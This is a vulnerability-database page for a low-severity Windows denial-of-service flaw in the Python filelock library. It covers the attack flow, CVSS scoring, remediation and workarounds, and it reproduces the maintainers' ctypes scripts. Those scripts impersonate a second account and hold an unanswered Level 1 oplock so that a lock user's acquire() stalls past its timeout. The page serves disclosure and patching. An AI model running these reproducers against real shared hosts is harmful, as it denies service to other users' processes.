Python filelock
CVE-2026-112907
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain local account with read access to marker via directory ACL
-
ExploitWait for marker left unheld (holder died, closed handle, or lifetime elapsed)
-
ExecutionTake Level 1 oplock on marker, leave break unacknowledged
-
ImpactLock user's acquire() stalls past timeout and stale break is blocked (DoS)
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V15 - Secure Coding and Architecture Proper locking
|
| Exploitation Conditions | Requires ALL of the following, which together make exploitation narrow: (1) Windows only, and only the soft-lock classes - SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms (AsyncSoftFileLock, etc.), or FileLock after its ENOSYS fallback to a soft lock; WindowsFileLock uses a separate code path and is not covered. (2) A second local account with an interactive logon on the same host that the lock directory's inheritable ACL grants read access to newly created files (the marker is created via os.open, which on Windows applies no more of mode than the read-only attribute, so a permissive directory ACL is the enabling condition). (3) The marker must have no open handle at the moment the attacker requests the Level 1/batch oplock - i.e. a holder that died and left its marker, closed its descriptor, or a marker past its lifetime; while a holder keeps its handle the oplock request fails and the attacker cannot force this state. (4) The attacker requests the oplock via overlapped DeviceIoControl and never acknowledges the break. Limiting factors that reduce real-world risk: local logon required (no remote vector), non-default permissive directory ACL required (hardened/profile-local directories defeat it - the documented workaround), the attacker-uncontrollable unheld-marker race, impact limited to a per-attempt stall until the holder answers or closes, and mutual exclusion is never broken. |
| Impact | This is a genuinely low-priority issue, and the signals agree rather than conflict. The CVSS 3.1 vector (AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L, 2.5 Low) describes a local, high-complexity, low-privilege attack with no confidentiality or integrity impact and only partial availability impact - an availability-only denial of service against the lock user, not code execution or data exposure. The vuln.today decision label is 'monitor', consistent with the low score. There is no CISA KEV listing (not actively exploited) and no EPSS probability was supplied in the input, so widespread-exploitation likelihood cannot be quantified from these sources but is implausible given the local-only, multi-account, race-dependent preconditions. A public PoC reference exists - the advisory embeds the maintainers' working reproducer scripts (oplock_vm.py section [2] and oplock_semantics_vm.py) - but these are diagnostic reproducers, not a packaged standalone exploit, and demonstrate only a hang. The AC:H rating is well-justified by the evidence: Windows grants a Level 1/batch oplock only to the sole open handle on the marker, a state the attacker cannot force and must wait for (holder died, closed its descriptor, or marker lifetime elapsed). No signal elevates this: no KEV, no integrity/confidentiality loss, impact capped at a multi-second stall per acquire attempt. Patch is available (4.2.1). Net: a real, confirmed defect worth patching in the normal maintenance cycle, not an emergency. |
| Exploit ScenarioDerived | On a shared Windows host, a second ordinary local account that the lock directory's inherited ACL grants read access to new files waits for a soft-lock marker to be left unheld (its holder having died, closed its descriptor, or passed its lifetime), then takes a Level 1 oplock on the marker and never acknowledges the break. Each acquire() by the legitimate lock user then blocks inside os.open while reading the marker, overrunning its timeout, blocking=False and cancel_check (about 10 s per attempt in the recorded two-account runs), and a stale marker under the oplock is never broken, so no process can take the lock until the attacker's handle closes. The maintainers' reproducer scripts in the advisory demonstrate this behavior; given AV:L/AC:H the attacker needs a local logon and must catch the unheld-marker window they cannot themselves create. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 23, 2026
On Windows, the Python filelock library (3.22.0 through 4.2.0) reads, renames and deletes soft-lock marker files by path, so a second local account that holds an unanswered Level 1 oplock on a marker makes every acquire() wait inside the underlying file open; timeout, blocking=False and cancel_check are only consulted after that wait returns, and a timeout=1 call was recorded returning Timeout after 10.02 s. A stale marker under the same oplock is never broken, so no process acquires the lock until the oplock holder answers or closes its handle; availability is the only impact, mutual exclusion is never broken and no other file is touched. Exploitation is narrow: it requires a Windows host, a second logged-on account granted read access to newly created files by the lock directory's inheritable ACL, and a marker with no open handle at the moment the oplock is requested, a state the attacker cannot force. CVSS 3.1 scores 2.5 (AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L); no CISA KEV entry or active exploitation is reported, and the advisory ships reproduction scripts rather than verified exploit code. Fixed in 4.2.1.
RemediationAI
Upgrade to filelock 4.2.1, the first fixed release (https://github.com/tox-dev/filelock/releases/tag/4.2.1), delivered by PR #835 / commit e1e825b1992f69fb6b346dc395d5ae4893536c0a (https://github.com/tox-dev/filelock/pull/835), which reads and breaks markers through handles that do not wait for an oplock holder so an oplock ends as contention and the timeout holds. Where upgrading is not immediate, the vendor lists two workarounds, both with trade-offs: keep soft-lock markers in a directory whose ACL grants other accounts no access to new files, e.g. a directory inside the user profile or one reset with icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" (note that mode does not achieve this on Windows), at the cost of losing legitimate multi-account sharing of that lock directory; and run AsyncSoftFileLock with the default executor rather than run_in_executor=False, so only a worker thread stalls instead of the event loop, at the cost of consuming a pool thread. No timeout, blocking or cancel_check value bounds the wait, so raising them is not a mitigation. Advisory: https://github.com/tox-dev/filelock/security/advisories/GHSA-567q-5qvw-pf92.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Windows opportunistic locks (oplocks) are held by a process with an open handle and require Windows to notify that holder before another process opens, renames or deletes the file; the second process blocks until the holder acknowledges the break or closes its handle. Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so a marker must be momentarily unheld (holder died, closed its descriptor, or lifetime expired) for another account to take one, after which it simply never acknowledges the break. The flaw is a CWE-667 (improper locking) issue in filelock's soft-lock code: _read_lock_file opens the marker with os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK), but on Windows O_NOFOLLOW and O_NONBLOCK are absent (read via getattr(os, ..., 0)) and the call becomes CreateFileW, which waits out the oplock break; break_lock_file performs rename and unlink by path with the same waiting behavior, so stale-break logic stalls identically. Because _poll_until_acquired and _check_give_up evaluate the deadline, blocking and cancel_check only between attempts, the wait overruns all three controls. The behavior was introduced by PR #476 (commit e35c3af, first tag 3.22.0) adding stale-lock detection, moved to os.open in #548 (3.29.1) and into break_lock_file in #551 (3.29.2); none of these paths passes FILE_COMPLETE_IF_OPLOCKED, the NtCreateFile option that returns instead of waiting. WindowsFileLock uses a separate code path and is out of scope. With AsyncSoftFileLock(run_in_executor=False) the wait lands on the event-loop thread and stalls every task in the process; with the default executor only a worker thread stalls.
Know when Windows gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Local logon needed (AV:L); the unheld-marker precondition is attacker-uncontrollable (AC:H); an ordinary account with marker read access suffices (PR:L); only the lock user's availability is affected (A:L, C:N/I:N).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.
Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancel_check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L scores 2.5 (Low).
AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with run_in_executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.
Classification from the review: security, conditional on an unheld marker that another account can open.
Scope and preconditions
- Platform and classes: Windows only.
SoftFileLock,MarkerSoftFileLock,SoftFileLease,AsyncSoftFileLockand the other async soft locks, andFileLockafter itsENOSYSfallback to a soft lock.WindowsFileLockopens its lock file on a separate code path that this advisory does not cover. - Marker access: the soft locks create the marker with
os.open, which on Windows applies no more ofmodethan the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete. - Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose
lifetimehas passed. While the holder keeps its handle, the request fails. - Holder behavior: the other account requests the oplock through an overlapped
DeviceIoControland never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time. - What the lock user sees:
SoftFileLock.acquire(timeout=1)returnedTimeoutafter 10.02 s with the second account's handle. In the same-account probeos.openwithO_RDONLYwas still running after 15 s and returned once the holder closed. The retry loop consultstimeout,blocking=Falseandcancel_checkbetween attempts only. WithAsyncSoftFileLock(run_in_executor=False)the event loop waits. - Stale break:
break_lock_filerenames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes. - Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.
Affected code
Scanned commit b831496b0273: the os.open in _read_lock_file (function), called from _try_break_stale_lock on every attempt that finds a marker, and from _unprobeable_holder, pid and is_lock_held_by_us. break_lock_file renames at L116 and unlinks at L118 and L122, by path. _poll_until_acquired and _check_give_up test the deadline, blocking and cancel_check only between attempts.
Introduced
e35c3af "feat(soft): detect and break stale locks" (#476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with O_CREAT | O_EXCL and never opened an existing one. #476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILE_COMPLETE_IF_OPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in _read_lock_file with bfbfa76 (#548, 3.29.1) and the break moved into break_lock_file with d244c6d (#551, 3.29.2); the by-path calls stayed.
Mechanism
Each attempt of _acquire first calls os.open(path, O_WRONLY | O_CREAT | O_EXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. _acquire then calls _try_break_stale_lock, which calls _read_lock_file: os.lstat, then os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK). On Windows O_NOFOLLOW and O_NONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. _check_give_up tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancel_check by its length. Once the open returns, the attempt ends and _check_give_up raises Timeout, because the deadline has passed.
A marker whose holder is gone takes the second path. break_lock_file renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.
Reproduction
The review's reproducers, quoted as received. oplock_vm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplock_semantics_vm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #835 at 3e4c5ef, where _read_lock_file and break_lock_file are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).
oplock_vm.py
"""
Windows oplock checks beyond the lock-file open PR #835 changes: release() and the soft locks' marker read.
Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock
[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the
DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
[1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
marker through os.open, which waits for the acknowledgement, past timeout=1.
A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""
from __future__ import annotations
import ctypes
import os
import subprocess
import sys
import threading
import time
from ctypes import wintypes
from filelock import FileLock, SoftFileLock, Timeout
user, password, base = sys.argv[1], sys.argv[2], sys.argv[3]
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
os.makedirs(base, exist_ok=True)
subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture_output=True)
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
advapi32.LogonUserW.argtypes = [
wintypes.LPCWSTR,
wintypes.LPCWSTR,
wintypes.LPCWSTR,
wintypes.DWORD,
wintypes.DWORD,
ctypes.POINTER(wintypes.HANDLE),
]
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
wintypes.LPCWSTR,
wintypes.DWORD,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
wintypes.DWORD,
wintypes.HANDLE,
]
class Overlapped(ctypes.Structure):
_fields_ = (
("Internal", ctypes.c_void_p),
("InternalHigh", ctypes.c_void_p),
("Offset", wintypes.DWORD),
("OffsetHigh", wintypes.DWORD),
("hEvent", wintypes.HANDLE),
)
kernel32.DeviceIoControl.argtypes = [
wintypes.HANDLE,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ = 0x80000000
SHARE_ALL = 0x7
OPEN_EXISTING = 3
FLAG_OVERLAPPED = 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
FSCTL_REQUEST_OPLOCK_LEVEL_1 = 0x00090000
ERROR_IO_PENDING = 997
hold = threading.Event()
real_unlink = os.unlink
def impersonate() -> None:
token = wintypes.HANDLE()
if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
raise ctypes.WinError(ctypes.get_last_error())
if not advapi32.ImpersonateLoggedOnUser(token):
raise ctypes.WinError(ctypes.get_last_error())
def request_level1(path: str) -> tuple[int, Overlapped] | None:
handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
if handle == INVALID_HANDLE:
return None
overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
if (
not kernel32.DeviceIoControl(handle, FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, None, 0, None, ctypes.byref(overlapped))
and ctypes.get_last_error() == ERROR_IO_PENDING
):
return handle, overlapped
kernel32.CloseHandle(handle)
kernel32.CloseHandle(overlapped.hEvent)
return None
def drop(granted: tuple[int, Overlapped]) -> None:
handle, overlapped = granted
kernel32.CloseHandle(handle)
kernel32.WaitForSingleObject(overlapped.hEvent, 5000)
kernel32.CloseHandle(overlapped.hEvent)
def release_under_oplock_requests(label: str, lock_path: str, cycles: int) -> bool:
stop = threading.Event()
granted_box: list[tuple[int, Overlapped]] = []
def spinner() -> None:
impersonate()
while not stop.is_set():
if (granted := request_level1(lock_path)) is not None:
granted_box.append(granted)
hold.wait()
return
releasing = threading.Event()
release_durations: list[float] = []
def owner() -> None:
# thread_local locks release only on the acquiring thread, so acquire and release stay on this one
for _ in range(cycles):
lock = FileLock(lock_path, is_singleton=False)
lock.acquire(timeout=5)
started = time.monotonic()
releasing.set()
lock.release()
releasing.clear()
release_durations.append(time.monotonic() - started)
if granted_box:
return
holder = threading.Thread(target=spinner, daemon=True)
holder.start()
owner_thread = threading.Thread(target=owner, daemon=True)
owner_thread.start()
owner_thread.join(60)
stalled = owner_thread.is_alive() and releasing.is_set()
stop.set()
longest = max(release_durations, default=0.0) * 1000
print(f" {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms")
if stalled:
print(" release() still running after 60 s while the oplock holder has not answered the break")
if granted_box:
drop(granted_box[0])
owner_thread.join(10)
print(f" release() returned after the holder closed its handle: {not owner_thread.is_alive()}")
return stalled
print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")
stalled_native = release_under_oplock_requests("natural", os.path.join(base, "native.lock"), 500)
print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")
def slow_unlink(path: str, *, dir_fd: int | None = None) -> None:
time.sleep(0.2)
real_unlink(path, dir_fd=dir_fd)
os.unlink = slow_unlink
stalled_scheduled = release_under_oplock_requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20)
os.unlink = real_unlink
print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")
marker = os.path.join(base, "soft.lock")
holder = SoftFileLock(marker, is_singleton=False)
holder.acquire()
holder_fd = holder._context.lock_file_fd
# noqa: SLF001
os.close(holder_fd)
# the marker stays with a live PID, as after a holder that lost only its handle
impersonate_done = threading.Event()
granted_soft: list[tuple[int, Overlapped]] = []
def take_soft_oplock() -> None:
impersonate()
if (granted := request_level1(marker)) is not None:
granted_soft.append(granted)
impersonate_done.set()
hold.wait()
threading.Thread(target=take_soft_oplock, daemon=True).start()
impersonate_done.wait(5)
print(f" oplock granted: {bool(granted_soft)}")
outcome = ["still running after 25 s"]
def contend() -> None:
started = time.monotonic()
try:
SoftFileLock(marker, is_singleton=False).acquire(timeout=1)
outcome[0] = f"acquired after {time.monotonic() - started:.2f} s"
except Timeout:
outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s"
except OSError as error:
outcome[0] = f"{type(error).__name__} after {time.monotonic() - started:.2f} s: {error}"
contender = threading.Thread(target=contend, daemon=True)
contender.start()
contender.join(25)
print(f" contender: {outcome[0]}")
soft_stalled = "still running" in outcome[0]
if granted_soft:
drop(granted_soft[0])
contender.join(10)
print(f" after the holder closed: {outcome[0]}")
hold.set()
print("STALLS" if stalled_native or stalled_scheduled or soft_stalled else "BOUNDED")Recorded output of section [2]:
[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
oplock granted: True
contender: Timeout after 10.02 s
after the holder closed: Timeout after 10.02 soplock_semantics_vm.py
"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.
Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem
"""
from __future__ import annotations
import ctypes
import os
import sys
import threading
import time
from ctypes import wintypes
base = sys.argv[1]
os.makedirs(base, exist_ok=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
wintypes.LPCWSTR,
wintypes.DWORD,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
wintypes.DWORD,
wintypes.HANDLE,
]
class Overlapped(ctypes.Structure):
_fields_ = (
("Internal", ctypes.c_void_p),
("InternalHigh", ctypes.c_void_p),
("Offset", wintypes.DWORD),
("OffsetHigh", wintypes.DWORD),
("hEvent", wintypes.HANDLE),
)
kernel32.DeviceIoControl.argtypes = [
wintypes.HANDLE,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ, GENERIC_WRITE = 0x80000000, 0x40000000
SHARE_ALL, OPEN_EXISTING, FLAG_OVERLAPPED = 0x7, 3, 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
LEVELS = {"level1": 0x00090000, "batch": 0x00090008}
def take(path: str, level: str) -> tuple[int, Overlapped]:
handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped))
assert pending and ctypes.get_last_error() == 997, ctypes.get_last_error()
return handle, overlapped
def drop(granted: tuple[int, Overlapped]) -> None:
kernel32.CloseHandle(granted[0])
kernel32.WaitForSingleObject(granted[1].hEvent, 5000)
kernel32.CloseHandle(granted[1].hEvent)
def timed(label: str, operation) -> None:
# noqa: ANN001
done = threading.Event()
result = ["still running after 15 s"]
def run() -> None:
started = time.monotonic()
try:
operation()
result[0] = f"returned after {(time.monotonic() - started) * 1000:.1f} ms"
except OSError as error:
result[0] = f"{type(error).__name__} after {(time.monotonic() - started) * 1000:.1f} ms: {error}"
done.set()
threading.Thread(target=run, daemon=True).start()
done.wait(15)
print(f" {label}: {result[0]}")
return done
def open_read(path: str) -> None:
os.close(os.open(path, os.O_RDONLY | os.O_BINARY))
def open_write(path: str) -> None:
os.close(os.open(path, os.O_RDWR | os.O_BINARY))
def create_new(path: str) -> None:
os.close(os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_BINARY))
for level in LEVELS:
for label, operation, consumes in (
("os.open O_RDONLY", open_read, False),
("os.open O_RDWR", open_write, False),
("os.open O_CREAT|O_EXCL on the existing file", create_new, False),
("os.utime by path", lambda p: os.utime(p, None), False),
("os.rename", lambda p: os.rename(p, p + ".moved"), True),
("os.unlink", os.unlink, True),
):
path = os.path.join(base, f"{level}-{label.replace(' ', '_').replace('|', '')}.lock")
with open(path, "w", encoding="utf-8") as handle:
handle.write("1\nhost\n")
granted = take(path, level)
print(f"{level}, {label}")
done = timed(label, lambda p=path, op=operation: op(p))
drop(granted)
done.wait(5)
print(f" after the holder closed: {'done' if done.is_set() else 'still running'}")The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, os.open(path, os.O_RDONLY), os.rename and os.unlink were still running after 15 s and returned only once the holder closed its handle; os.utime by path and a failed O_CREAT | O_EXCL create returned at once.
Failure sequence
sequenceDiagram
participant A as other local account
participant M as soft.lock marker, no handle open
participant L as lock user: SoftFileLock(path).acquire(timeout=1)
participant W as Windows (NTFS)
A->>W: CreateFileW(soft.lock, GENERIC_READ, share read/write/delete, FILE_FLAG_OVERLAPPED)
A->>W: DeviceIoControl(FSCTL_REQUEST_OPLOCK_LEVEL_1), granted, break never acknowledged
L->>W: os.open(soft.lock, O_CREAT|O_EXCL) fails with EEXIST at once
L->>W: os.lstat(soft.lock) regular file
rect rgb(255, 214, 214)
L->>W: os.open(soft.lock, O_RDONLY) inside _read_lock_file
Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel_check are not consulted
W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe)
end
L->>L: _check_give_up: past the deadline, raise Timeout after 10.02 s
Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not brokenEvidence
Section [2] of oplock_vm.py acquired soft.lock as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ran SoftFileLock(marker, is_singleton=False).acquire(timeout=1) on a thread. The call returned Timeout after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section [1a] of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplock_semantics_vm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and os.utime by path return at once, so the wait is in the read and the break, not in the create attempt.
Impact
Each acquire() of a soft lock that finds a marker another account holds an oplock on runs past its timeout, blocking=False and cancel_check until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With AsyncSoftFileLock(run_in_executor=False) the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and FileLock is a soft lock on builds without fcntl and after its ENOSYS fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.
Workarounds
- Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner,
SYSTEMandAdministratorsgranted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F").modedoes not do this on Windows. - Run
AsyncSoftFileLockwith the default executor rather thanrun_in_executor=False, so that only a worker thread waits. - No
timeout,blockingorcancel_checkvalue bounds the wait.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/835
Credits
Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).
- 2026-10-15 23:08 UTC: report received (36 findings; this defect is not among them)
- 2026-10-16 01:16 UTC: fix PR #835 opened, for the Linux lease finding of GHSA-7hmp-gf99-57hx
- 2026-10-16 08:25 UTC: finding identified in the maintainers' review of PR #835
- 2026-10-16 22:43 UTC: draft advisory created
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)GitHub Advisory
Unauthenticated remote code execution in SmarterTools SmarterMail lets an attacker upload arbitrary files to any locatio
Windows Win32k fails to properly handle objects in memory, allowing local privilege escalation exploited in the wild in
A privilege escalation vulnerability (CVSS 5.5). Risk factors: actively exploited (KEV-listed), EPSS 94% exploitation pr
Windows Internet Shortcut Files (.url) contain an external control vulnerability (CVE-2025-33053, CVSS 8.8) that enables
Windows SMB contains an improper access control vulnerability (CVE-2025-33073, CVSS 8.8) enabling authenticated attacker
An unrestricted file upload vulnerability exists in MiniWeb HTTP Server <= Build 300 that allows unauthenticated remote
FreeFloat FTP Server contains multiple critical design flaws that allow unauthenticated remote attackers to upload arbit
Serviio Media Server versions 1.4 through 1.8 on Windows contain an unauthenticated command injection in the /rest/actio
Mako Server versions 2.5 and 2.6 contain an unauthenticated OS command injection via the tutorial interface at examples/
React Native Metro Development Server binds to external interfaces by default and contains an OS command injection endpo
Command injection in the Windows Shell lets remote, unauthenticated attackers bypass a Windows security feature and then
External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network
GHSA-567q-5qvw-pf92
NVD
CVE.org
Exploit-DB